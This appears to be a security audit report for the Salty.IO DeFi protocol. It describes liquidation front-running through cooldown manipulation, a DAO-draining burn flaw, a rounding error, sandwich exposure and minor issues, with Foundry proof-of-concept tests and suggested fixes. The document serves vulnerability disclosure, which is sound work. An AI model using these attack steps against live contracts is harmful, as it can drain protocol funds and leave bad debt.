Salty.IO - Jorgect's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L107

Vulnerability details

Users have the option to deposit liquidity into the WBTC/WETH pool using the depositCollateralAndIncreaseShare function. This functionality enables users to borrow USDS at a collateralization ratio of 200% (modifiable through DAO). In the event that the position becomes undercollateralized (falling below 110% of the collateral value of WBTC/WETH in USD relative to the borrowed USDS), liquidation becomes possible.

function depositCollateralAndIncreaseShare( uint256 maxAmountWBTC, uint256 maxAmountWETH, uint256 minLiquidityReceived, uint256 deadline, bool useZapping ) external nonReentrant ensureNotExpired(deadline)  returns (uint256 addedAmountWBTC, uint256 addedAmountWETH, uint256 addedLiquidity)
		{
		// Have the user deposit the specified WBTC/WETH liquidity and increase their collateral share
		(addedAmountWBTC, addedAmountWETH, addedLiquidity) = _depositLiquidityAndIncreaseShare( wbtc, weth, maxAmountWBTC, maxAmountWETH, minLiquidityReceived, useZapping ); <--------

		emit CollateralDeposited(msg.sender, addedAmountWBTC, addedAmountWETH, addedLiquidity);
		}

[Link]

Another important property of the protocol is that users have a cooldown period of one hour between each action that modifies their shares. This restriction can be reviewed here

function _increaseUserShare( address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown ) internal
		{
		require( poolsConfig.isWhitelisted( poolID ), "Invalid pool" );
		require( increaseShareAmount != 0, "Cannot increase zero share" );

		UserShareInfo storage user = _userShareInfo[wallet][poolID];

		if ( useCooldown )
		if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
			{
			require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

			// Update the cooldown expiration for future transactions
			user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();  <-----
			}

		uint256 existingTotalShares = totalShares[poolID];

		...
		emit UserShareIncreased(wallet, poolID, increaseShareAmount);
		}

[Link]

The vulnerability arises when a malicious user can potentially front-run the liquidateUser transaction exploiting the cooldown mechanism. Through strategic deposits or withdrawals in any pool the user manipulates their cooldown, incrementing it to intentionally cause the liquidation transaction to fail, this is because the liquidation relay on the cooldown of the user to decrease his shares.

function liquidateUser( address wallet ) external nonReentrant
		{
		require( wallet != msg.sender, "Cannot liquidate self" );

		// First, make sure that the user's collateral ratio is below the required level
		require( canUserBeLiquidated(wallet), "User cannot be liquidated" );

		uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );

		// Withdraw the liquidated collateral from the liquidity pool.
		// The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
		(uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );

		// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
		_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true ); <--------

		...

		emit Liquidation(msg.sender, wallet, reclaimedWBTC, reclaimedWETH, originallyBorrowedUSDS);
		}

[Link]

Impact

The exploit enables a malicious user to consistently front-run the liquidateUser transaction, resulting in transaction reversals. This malicious activity can persist until the loan consistently reaches an undercollateralized state, leading to bad debt for the protocol.

Proof of Concept

Run the next test in foundry in the File: /src/stable/tests /CollateralAndLiquidity.t.sol

    function testLiquidatePositionFrontRun() public {
        //@note

        assertEq(collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0);

        assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC");
        assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH");
        assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS");

        // Total needs to be worth at least $2500
        uint256 depositedWBTC = (2000 ether * 10 ** 8) / priceAggregator.getPriceBTC();
        uint256 depositedWETH = (2000 ether * 10 ** 18) / priceAggregator.getPriceETH();

        (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
        assertEq(reserveWBTC, 0, "reserveWBTC doesn't start as zero");
        assertEq(reserveWETH, 0, "reserveWETH doesn't start as zero");

        // Alice will deposit collateral and borrow max USDS
        vm.startPrank(alice);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            depositedWBTC, depositedWETH, 0, block.timestamp, false
        );

        vm.warp(block.timestamp + 1 hours);
        uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        collateralAndLiquidity.borrowUSDS(maxUSDS);

        vm.stopPrank();

        // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
        vm.prank(DEPLOYER);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(1 * 10 ** 8, 1 ether, 0, block.timestamp, false);

        // crashing price to make alice be ready for be liquidated
        _crashCollateralPrice();

        vm.warp(block.timestamp + 1 days);

        //front run liquidation
        vm.prank(alice);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(101, 101, 0, block.timestamp, false);

        vm.startPrank(bob);

        vm.expectRevert();
        collateralAndLiquidity.liquidateUser(alice);

        vm.stopPrank();
    }

Tools Used

Manual, Foundry

Recommended Mitigation Steps

Consider not relaying on the cooldown of the user that is going to be be liquidated, this can be modifying the liquidteUser function passing the liquidator wallet in the _decreaseUserShare function:

function liquidateUser( address wallet ) external nonReentrant
		{
		require( wallet != msg.sender, "Cannot liquidate self" );

		// First, make sure that the user's collateral ratio is below the required level
		require( canUserBeLiquidated(wallet), "User cannot be liquidated" );

		uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );

		// Withdraw the liquidated collateral from the liquidity pool.
		// The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
		(uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );//@audit (medium) not slippage, if this have slippag this can be front runing 

		// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
		_decreaseUserShare( msg.sender, collateralPoolID, userCollateralAmount, true ); <--------
               ...
		}

Now, the liquidator faces a cooldown period, hindering their ability to initiate additional liquidations during this timeframe. An alternative approach involves creating a separate decreaseShare function specifically designed for the liquidation process. Note that any additional logic introduced into the protocol requires careful review to prevent the introduction of new bugs.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/Liquidizer.sol#L123

Vulnerability details

When a user repays their USDS, the tokens are sent to the USDS contract for burning. Additionally, the incrementBurnableUSDS function is invoked in the Liquidizer contract. This function increments the usdsThatShouldBeBurned state variable within the Liquidizer contract."

function incrementBurnableUSDS( uint256 usdsToBurn ) external
		{
		require( msg.sender == address(collateralAndLiquidity), "Liquidizer.incrementBurnableUSDS is only callable from the CollateralAndLiquidity contract" );

		usdsThatShouldBeBurned += usdsToBurn;  <-------

		emit incrementedBurnableUSDS(usdsThatShouldBeBurned);
		}

[Link]

Subsequently, the performUpkeep function clears this variable by first comparing the USDS balance of the USDS contract with the usdsThatShouldBeBurned. If the USDS balance is less than the usdsThatShouldBeBurned, the protocol is required to withdraw funds from the DAO to cover the remaining USDS needed for complete burning.

function _possiblyBurnUSDS() internal
		{
		// Check if there is USDS to burn
		if ( usdsThatShouldBeBurned == 0 )
			return;

		uint256 usdsBalance = usds.balanceOf(address(this));
		if ( usdsBalance >= usdsThatShouldBeBurned )
			{
			// Burn only up to usdsThatShouldBeBurned.
			// Leftover USDS will be kept in this contract in case it needs to be burned later.
			_burnUSDS( usdsThatShouldBeBurned );
    		usdsThatShouldBeBurned = 0;
			}
		else
			{
			// The entire usdsBalance will be burned - but there will still be an outstanding balance to burn later
			_burnUSDS( usdsBalance );
			usdsThatShouldBeBurned -= usdsBalance;

			// As there is a shortfall in the amount of USDS that can be burned, liquidate some Protocol Owned Liquidity and
			// send the underlying tokens here to be swapped to USDS
			dao.withdrawPOL(salt, usds, PERCENT_POL_TO_WITHDRAW);  <-----
			dao.withdrawPOL(dai, usds, PERCENT_POL_TO_WITHDRAW);   <-----
			}
		}

[Link]

The issue arises when an attacker directly calls the burnTokensInContract function in the USDS contract, burning the tokens previously sent by the CollateralAndLiquidity.sol contract when a user repays their borrow. Despite this, the usdsThatShouldBeBurned variable is not reduced. Consequently, the protocol withdraws Salt, USDS, and DAI tokens to cover this buffer, and be burn them later.

This can be intensified if a user borrow and repay in a loop so many times incrementing the usds to be burned and the usdsThatShouldBeBurned buffer,and then burning directly in the usds contract.

Impact

The Dao can get drained all his usds, salt and dai, lossing fund for the protocol and also draining the SALT/USDS and DAI/USDS pool.

Proof of Concept

Run the next proof of concept in the file:src/stable/tests /Liquidizer.t.sol

function testLiquidazer() public {
        //@note
        // Originally no tokens in the liquidizer
        assertEq(salt.balanceOf(address(liquidizer)), 0);
        assertEq(usds.balanceOf(address(liquidizer)), 0);
        assertEq(dai.balanceOf(address(liquidizer)), 0);

        vm.prank(address(collateralAndLiquidity));
        usds.mintTo(address(dao), 1000000 ether);

        vm.prank(address(teamVestingWallet));
        salt.transfer(address(dao), 100000 ether);

        vm.prank(DEPLOYER);
        dai.transfer(address(dao), 100000 ether);

        vm.startPrank(address(dao));
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            salt, usds, 100000 ether, 100000 ether, 0, block.timestamp, false
        );
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            dai, usds, 100000 ether, 100000 ether, 0, block.timestamp, false
        );
        vm.stopPrank();

        bytes32 poolIDA = PoolUtils._poolID(salt, usds);
        bytes32 poolIDB = PoolUtils._poolID(dai, usds);

        assertEq(collateralAndLiquidity.userShareForPool(address(dao), poolIDA), 200000 ether);
        assertEq(collateralAndLiquidity.userShareForPool(address(dao), poolIDB), 200000 ether);

        // Simulate shortfall in burning USDS
        uint256 shortfallAmount = 10 ether;
        vm.startPrank(address(collateralAndLiquidity));
        usds.transfer(address(usds), shortfallAmount); // simuling the usds send it to the usds contract when a user pay his borrow usds amount
        liquidizer.incrementBurnableUSDS(shortfallAmount); // Assuming a setter for easy testing
        vm.stopPrank();

        usds.burnTokensInContract(); // attacker can burn the token direclty in the usds contract and the usdsThatShouldBeBurned is not reduced, so it is taked from the dao draining the dao

        // The test is setup to cause a withdrawal of POL
        vm.prank(address(upkeep));
        liquidizer.performUpkeep();

        // Check that 1% of the POL has been withdrawn
        assertEq(collateralAndLiquidity.userShareForPool(address(dao), poolIDA), 198000 ether);
        assertEq(collateralAndLiquidity.userShareForPool(address(dao), poolIDB), 198000 ether);

        // Check that the withdrawn POL is now in the Liquidizer
        assertEq(salt.balanceOf(address(liquidizer)), 1000 ether);
        assertEq(usds.balanceOf(address(liquidizer)), 2000 ether);
        assertEq(dai.balanceOf(address(liquidizer)), 1000 ether);
    }

Tools Used

Manual, Foundry

Recommended Mitigation Steps

Consider implementing access control for the burnTokensInContract function in the USDS contract, restricting its invocation exclusively to the Liquidizer.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L118

Vulnerability details

Rounding in favor of the protocol is essential for every DeFi project, as it helps prevent instances where projects might incur losses in each interaction with users.

The salty _decreaseUserShare function is rounding down the virtualRewardsToRemove variable:

function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal
		{
		require( decreaseShareAmount != 0, "Cannot decrease zero share" );

		UserShareInfo storage user = _userShareInfo[wallet][poolID];
		require( decreaseShareAmount <= user.userShare, "Cannot decrease more than existing user share" );

		...

		// Determine the share of the rewards for the amountToDecrease (will include previously added virtual rewards)
		uint256 rewardsForAmount = ( totalRewards[poolID] * decreaseShareAmount ) / totalShares[poolID];

		// For the amountToDecrease determine the proportion of virtualRewards (proportional to all virtualRewards for the user)
		// Round virtualRewards down in favor of the protocol
		uint256 virtualRewardsToRemove = (user.virtualRewards * decreaseShareAmount) / user.userShare;  <-------------

		// Update totals
		totalRewards[poolID] -= rewardsForAmount;
		totalShares[poolID] -= decreaseShareAmount;

		// Update the user's share and virtual rewards
		user.userShare -= uint128(decreaseShareAmount);
		user.virtualRewards -= uint128(virtualRewardsToRemove);

		uint256 claimableRewards = 0;

		// Some of the rewardsForAmount are actually virtualRewards and can't be claimed.
		// In the event that virtualRewards are greater than actual rewards - claimableRewards will stay zero.
		if ( virtualRewardsToRemove < rewardsForAmount )
			claimableRewards = rewardsForAmount - virtualRewardsToRemove;

		// Send the claimable rewards
		if ( claimableRewards != 0 )
			salt.safeTransfer( wallet, claimableRewards );

		emit UserShareDecreased(wallet, poolID, decreaseShareAmount, claimableRewards);
		}

[Link]

This rounding is not in favor of the protocol, Please refer to the proof of concept to understand the reasons behind this.

Impact

Losses for rounding errors can accumulate over multiple transactions, leading to financial losses for the protocol.

Proof of Concept

See the _decreaseUserShare function:

function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal
		{
		require( decreaseShareAmount != 0, "Cannot decrease zero share" );

		UserShareInfo storage user = _userShareInfo[wallet][poolID];
		require( decreaseShareAmount <= user.userShare, "Cannot decrease more than existing user share" );

		...

		// Determine the share of the rewards for the amountToDecrease (will include previously added virtual rewards)
		uint256 rewardsForAmount = ( totalRewards[poolID] * decreaseShareAmount ) / totalShares[poolID];

		// For the amountToDecrease determine the proportion of virtualRewards (proportional to all virtualRewards for the user)
		// Round virtualRewards down in favor of the protocol
		uint256 virtualRewardsToRemove = (user.virtualRewards * decreaseShareAmount) / user.userShare;  <------

		// Update totals
		totalRewards[poolID] -= rewardsForAmount;
		totalShares[poolID] -= decreaseShareAmount;

		// Update the user's share and virtual rewards
		user.userShare -= uint128(decreaseShareAmount);
		user.virtualRewards -= uint128(virtualRewardsToRemove);

		uint256 claimableRewards = 0;

		// Some of the rewardsForAmount are actually virtualRewards and can't be claimed.
		// In the event that virtualRewards are greater than actual rewards - claimableRewards will stay zero.
		if ( virtualRewardsToRemove < rewardsForAmount )
			claimableRewards = rewardsForAmount - virtualRewardsToRemove;

		// Send the claimable rewards
		if ( claimableRewards != 0 )
			salt.safeTransfer( wallet, claimableRewards );

		emit UserShareDecreased(wallet, poolID, decreaseShareAmount, claimableRewards);
		}

[Link]

uint256 virtualRewardsToRemove = (user.virtualRewards * decreaseShareAmount) / user.userShare rounds down, potentially resulting in virtualRewardsToRemove being zero when the denominator exceeds the numerator. In such cases, if virtualRewardsToRemove rounds to zero, user.virtualRewards -= uint128(virtualRewardsToRemove) fails to reduce user.virtualRewards. Consequently, this can lead to an inflation of claimableRewards:

if ( virtualRewardsToRemove < rewardsForAmount )
			claimableRewards = rewardsForAmount - virtualRewardsToRemove;

Tools Used

Manual

Recommended Mitigation Steps

Round up the virtualRewardsToRemove variable insted of rounding down.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L151

Vulnerability details

The sandwich attack is a well-known vulnerability in smart contracts, allowing bots to front-run users transactions specifically swapping or adjusting liquidity transactions without slippage protection. bots strategically intervene before and after the user's transaction, profiting on behalf of the users and often resulting in unfavorable trades for the targeted user.

In this cases the targeted user is the same protocol This is because the contract is setting importants trades with 0 slippage like liquidations, some dao swapping functionalitys and more internal swapping.

Impact

The protocol can constantly keep been front runing for bad actor taking profits on behalf of the protocol and leading to loss of money for the salty project

Proof of Concept

This are some front runing opportunitys again the protocol:

function formPOL( IERC20 tokenA, IERC20 tokenB, uint256 amountA, uint256 amountB ) external
		{
		require( msg.sender == address(exchangeConfig.upkeep()), "DAO.formPOL is only callable from the Upkeep contract" );

		// Use zapping to form the liquidity so that all the specified tokens are used
		collateralAndLiquidity.depositLiquidityAndIncreaseShare( tokenA, tokenB, amountA, amountB, 0, block.timestamp, true );  <-------

		emit POLFormed(tokenA, tokenB, amountA, amountB);
		}

[Link]

function called by the UpKeep contract to convert a default 5% of the remaining WETH to USDS/DAI Protocol Owned Liquidity.

function withdrawPOL( IERC20 tokenA, IERC20 tokenB, uint256 percentToLiquidate ) external
		{
		require(msg.sender == address(liquidizer), "DAO.withdrawProtocolOwnedLiquidity is only callable from the Liquidizer contract" );

		bytes32 poolID = PoolUtils._poolID(tokenA, tokenB);
		uint256 liquidityHeld = collateralAndLiquidity.userShareForPool( address(this), poolID );
		if ( liquidityHeld == 0 )
			return;

		uint256 liquidityToWithdraw = (liquidityHeld * percentToLiquidate) / 100;

		// Withdraw the specified Protocol Owned Liquidity
		(uint256 reclaimedA, uint256 reclaimedB) = collateralAndLiquidity.withdrawLiquidityAndClaim(tokenA, tokenB, liquidityToWithdraw, 0, 0, block.timestamp );   <---------

		// Send the withdrawn tokens to the Liquidizer so that the tokens can be swapped to USDS and burned as needed.
		tokenA.safeTransfer( address(liquidizer), reclaimedA );
		tokenB.safeTransfer( address(liquidizer), reclaimedB );

		emit POLWithdrawn(tokenA, tokenB, reclaimedA, reclaimedB);
		}

[Link]

function called by the liquidizer when it has to burn the usdsThatShouldBeBurned buffer

function liquidateUser( address wallet ) external nonReentrant
		{
		require( wallet != msg.sender, "Cannot liquidate self" );

		// First, make sure that the user's collateral ratio is below the required level
		require( canUserBeLiquidated(wallet), "User cannot be liquidated" );

		uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );

		// Withdraw the liquidated collateral from the liquidity pool.
		// The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
		(uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );    <---------

		...
		}

Tools Used

Manual

Recommended Mitigation Steps

Consider add a fixed slippage, note that fixed slippage can lead to revert trasaction so this value can not be to rigid.

Assessed type

MEV

// Swaps tokens internally within the protocol with amountIn limited to be a certain percent of the reserves.
// The limit, combined with atomic arbitrage makes sandwich attacks on this swap less profitable (even with no slippage being specified).
// This is due to the first swap of the sandwich attack being offset by atomic arbitrage within its same transaction.
// This effectively reverses some of the initial swap of the attack and creates an initial loss for the attacker proportional to the size of that swap (if they were to swap back immediately).

// Simulations (see Sandwich.t.sol) show that when sandwich attacks are used, the arbitrage earned by the protocol sometimes exceeds any amount lost due to the sandwich attack itself.
// The largest swap loss seen in the simulations was 1.8% (under an unlikely scenario).   More typical losses would be 0-1%.
// The actual swap loss (taking arbitrage profits generated by the sandwich swaps into account) is dependent on the multiple pool reserves involved in the arbitrage (which are encouraged by rewards distribution to create more reasonable arbitrage opportunities).

// Also, the protocol awards a default 5% of pending arbitrage profits to users that call Upkeep.performUpkeep().
// If sandwiching performUpkeep (where these internal swaps happen) is profitable it would encourage "attackers" to call performUpkeep more often.
// With that in mind, the DAO could choose to lower the default 5% reward for performUpkeep callers - effectively making sandwich "attacks" part of the performUpkeep mechanic itself.
function _placeInternalSwap( IPools pools, IERC20 tokenIn, IERC20 tokenOut, uint256 amountIn, uint256 maximumInternalSwapPercentTimes1000 ) internal returns (uint256 swapAmountIn, uint256 swapAmountOut)

#LOW ISSUES REPORT

[L-01] Require xsalt for proposal can be so low

To submit a proposal in the Salty protocol, users must have staked a specific quantity of salt. The exact amount is determined by a percentage set by the DAO, multiplied by the total number of salt tokens staked in the protocol.

The issue arises when the total staked amount is very low, as it results in a low requirement of XSALT needed to make a proposal.

function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID)
		{
		require( block.timestamp >= firstPossibleProposalTimestamp, "Cannot propose ballots within the first 45 days of deployment" );

		// The DAO can create confirmation proposals which won't have the below requirements
		if ( msg.sender != address(exchangeConfig.dao() ) )
			{
			// Make sure that the sender has the minimum amount of xSALT required to make the proposal
			uint256 totalStaked = staking.totalShares(PoolUtils.STAKED_SALT);
			uint256 requiredXSalt = ( totalStaked * daoConfig.requiredProposalPercentStakeTimes1000() ) / ( 100 * 1000 );

			require( requiredXSalt > 0, "requiredXSalt cannot be zero" );

			uint256 userXSalt = staking.userShareForPool( msg.sender, PoolUtils.STAKED_SALT );
			require( userXSalt >= requiredXSalt, "Sender does not  
 have enough xSALT to make the proposal" );  <--------

			// Make sure that the user doesn't already have an active proposal
			require( ! _userHasActiveProposal[msg.sender], "Users can only have one active proposal at a time" );
			}
...
}

[Link]

Impact

the dao can be spamed making so many proposals for part of the users.

Recomendation

Consider implementing a minimum threshold that users must stake to submit a proposal.

[L-02] missing <= in token.totalSupply() restriction

One of the restrictions to whitelist a token is that the token supply cannot exceed uint112.max. As you can see in the code and comments:

function proposeTokenWhitelisting( IERC20 token, string calldata tokenIconURL, string calldata description ) external nonReentrant returns (uint256 _ballotID)
		{
		require( address(token) != address(0), "token cannot be address(0)" );
		require( token.totalSupply() < type(uint112).max, "Token supply cannot exceed uint112.max" ); // 5 quadrillion max supply with 18 decimals of precision  <--------

		require( _openBallotsForTokenWhitelisting.length() < daoConfig.maxPendingTokensForWhitelisting(), "The maximum number of token whitelisting proposals are already pending" );
		require( poolsConfig.numberOfWhitelistedPools() < poolsConfig.maximumWhitelistedPools(), "Maximum number of whitelisted pools already reached" );
		require( ! poolsConfig.tokenHasBeenWhitelisted(token, exchangeConfig.wbtc(), exchangeConfig.weth()), "The token has already been whitelisted" );

		string memory ballotName = string.concat("whitelist:", Strings.toHexString(address(token)) );

		uint256 ballotID = _possiblyCreateProposal( ballotName, BallotType.WHITELIST_TOKEN, address(token), 0, tokenIconURL, description );
		_openBallotsForTokenWhitelisting.add( ballotID );

		return ballotID;
		}

[Link]

The problem is that the contract is not accepting tokens with type(uint112).max either.

Impact

Tokens with type(uint112).max totalSupply are incompatible with the project.

Recomendation

Consider add the equal in the totalSuplly require require( token.totalSupply() < type(uint112).max, "Token supply cannot exceed uint112.max" );

[L-03] Unwhitelisted pools get loss the arbitrage profit.

Pools can be whitelisted or unwhitelisted via DAO proposals. When a pool is whitelisted, the DAO starts accruing arbitrage profits. These profits are reclaimed when the main performUpkeep function is called.

The problem is that when a pool is unwhitelisted, the profits accrued between the time of the last performUpkeep and the unwhitelisting transaction get lost in the protocol.

function proposeTokenWhitelisting( IERC20 token, string calldata tokenIconURL, string calldata description ) external nonReentrant returns (uint256 _ballotID)
		{
		require( address(token) != address(0), "token cannot be address(0)" );
		require( token.totalSupply() < type(uint112).max, "Token supply cannot exceed uint112.max" ); // 5 quadrillion max supply with 18 decimals of precision

		require( _openBallotsForTokenWhitelisting.length() < daoConfig.maxPendingTokensForWhitelisting(), "The maximum number of token whitelisting proposals are already pending" );
		require( poolsConfig.numberOfWhitelistedPools() < poolsConfig.maximumWhitelistedPools(), "Maximum number of whitelisted pools already reached" );
		require( ! poolsConfig.tokenHasBeenWhitelisted(token, exchangeConfig.wbtc(), exchangeConfig.weth()), "The token has already been whitelisted" );

		string memory ballotName = string.concat("whitelist:", Strings.toHexString(address(token)) );

		uint256 ballotID = _possiblyCreateProposal( ballotName, BallotType.WHITELIST_TOKEN, address(token), 0, tokenIconURL, description );
		_openBallotsForTokenWhitelisting.add( ballotID );

		return ballotID;
		}

Impact

The protocol loses arbitrage profits each time that a pool is unwhitelisted.

Recomendation

Consider call saltRewards.performUpkeep(poolIDs, profitsForPools); each time that a pool is unwhitelisted.

[L-04] User with large liqudity can be reward hunters.

The protocol is implementing a cooldown to protect against reward hunters:

  function _withdrawLiquidityAndClaim( IERC20 tokenA, IERC20 tokenB, uint256 liquidityToWithdraw, uint256 minReclaimedA, uint256 minReclaimedB ) internal returns (uint256 reclaimedA, uint256 reclaimedB)
		{
		bytes32 poolID = PoolUtils._poolID( tokenA, tokenB );
		require( userShareForPool(msg.sender, poolID) >= liquidityToWithdraw, "Cannot withdraw more than existing user share" );

		// Remove the amount of liquidity specified by the user.
		// The liquidity in the pool is currently owned by this contract. (external call)
		(reclaimedA, reclaimedB) = pools.removeLiquidity( tokenA, tokenB, liquidityToWithdraw, minReclaimedA, minReclaimedB, totalShares[poolID] );

		// Transfer the reclaimed tokens to the user
		tokenA.safeTransfer( msg.sender, reclaimedA );
		tokenB.safeTransfer( msg.sender, reclaimedB );

		// Reduce the user's liquidity share for the specified pool so that they receive less rewards.
		// Cooldown is specified to prevent reward hunting (ie - quickly depositing and withdrawing large amounts of liquidity to snipe rewards)  <-----
		// This call will send any pending SALT rewards to msg.sender as well.
		_decreaseUserShare( msg.sender, poolID, liquidityToWithdraw, true );

		emit LiquidityWithdrawn(msg.sender, address(tokenA), address(tokenB), reclaimedA, reclaimedB, liquidityToWithdraw);
		}

[Link]

The cooldown, initially set to 1 hour and adjustable by the DAO, is primarily effective against flash loans but lacks effectiveness against users with significant liquidity.

Impact

Users with significant liquidity have the ability to increase their share (via the liquidity contract) one minute before the rewards are distributed and subsequently decrease their shares one hour later, successfully claiming the rewards.

Recomendation

Consider increasing the default modificationCooldown to restrict users with significant liquidity from exploiting the reward distribution.